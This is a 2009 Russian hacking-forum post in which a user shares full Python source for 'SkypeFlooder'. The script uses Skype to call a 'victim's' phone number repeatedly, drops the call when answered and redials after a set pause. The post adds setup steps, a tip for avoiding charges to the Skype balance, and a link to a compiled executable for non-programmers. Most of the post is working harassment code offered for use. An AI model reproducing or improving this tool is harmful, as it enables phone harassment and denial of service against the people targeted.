Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
[ Python ] SkypeFlooder by inlanger. Флудер телефонов от меня. |

16.04.2009, 17:07
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме: 3326855
Репутация:
702
|
|
[ Python ] SkypeFlooder by inlanger. Флудер телефонов от меня.
[ Python ] SkypeFlooder
Написал флудер телефонов на Python. Работает через Skype. В exe не компилировал, так как OpenSource. Забираем, тестируем, пишем свои предложения.
Перед запуском обязательно читаем шапку кода и качаем всё что нужно!
Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
# Для работы необходимы:
# Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
# Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
# Skype: http://www.skype.com/intl/ru/download/
#
# version 0.2
# created by inlanger
import sys, time, Skype4Py
from Skype4Py import call
num = raw_input("Input tel number, like +1234567890: ")
pause = raw_input("Input pause(sec): ")
while 1==1:
# This variable will get its actual value in OnCall handler
CallStatus = 0
# Here we define a set of call statuses that indicate a call has been either aborted or finished
CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
def AttachmentStatusText(status):
return skype.Convert.AttachmentStatusToText(status)
def CallStatusText(status):
return skype.Convert.CallStatusToText(status)
# This handler is fired when status of Call object has changed
def OnCall(call, status):
global CallStatus
CallStatus = status
print 'Call status: ' + CallStatusText(status)
if CallStatusText(status)=='Call in Progress': #Call in progress
call.Finish()
print "Waiting pause..."
# This handler is fired when Skype attatchment status changes
def OnAttach(status):
print 'API attachment status: ' + AttachmentStatusText(status)
if status == Skype4Py.apiAttachAvailable:
skype.Attach()
# Let's see if we were started with a command line parameter..
try:
CmdLine = num
except:
print 'Missing command line parameter'
sys.exit()
# Creating Skype object and assigning event handlers..
skype = Skype4Py.Skype()
skype.OnAttachmentStatus = OnAttach
skype.OnCallStatus = OnCall
# Starting Skype if it's not running already..
if not skype.Client.IsRunning:
print 'Starting Skype..'
skype.Client.Start()
# Attatching to Skype..
print 'Connecting to Skype..'
skype.Attach()
skype.PlaceCall(CmdLine)
# Checking if what we got from command line parameter is present in our contact list
Found = False
# Loop until CallStatus gets one of "call terminated" values in OnCall handler
while not CallStatus in CallIsFinished:
pass
time.sleep(int(pause))
На данный момент программа:- запрашивает номер телефона жертвы
- запрашивает паузу между звонками
- звонит на номер жертвы и ждёт поднятия трубки
- если жертва берёт трубку то программа сбрасывает звонок, ждёт паузу и заново звонит
- если жертва жмёт "отбой вызова", то программа заново звонит
Деньги не успевают уйти с аккаунта! Если вдруг деньги успевают сниматься - поставьте больше паузу между звонками.
В следующей версии может быть прикручу GUI и оптимизирую код.
Все мелкие изменения будут тут , крупные буду выкладывать в теме.
Для тех, кто не знает что делать с кодом:
Устанавливаем всё, что написано в шапке кода. Создаём текстовый файл и копируем в него код. Сохраняем с расшерением .py и запускаем.
Вариант от login999, без английских коментов, с проверкой входных данных и другими мелкими изменениями: туц
Для тех, кто не хочет/не может/не умеет пользоваться питоном собрал ЕХЕ файл. В архиве 3 файла - сама программа, библиотеки к ней и файл vcredist_x86.exe, для тех, у кого программа выдаёт ошибку. Ошибка связана с тем, что ХР и более ранние версии виндузов используют старые сишные библиотеки. Качать отсюда . Просьба не выкладывать на обменники!
Последний раз редактировалось inlanger; 04.05.2009 в 14:25..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|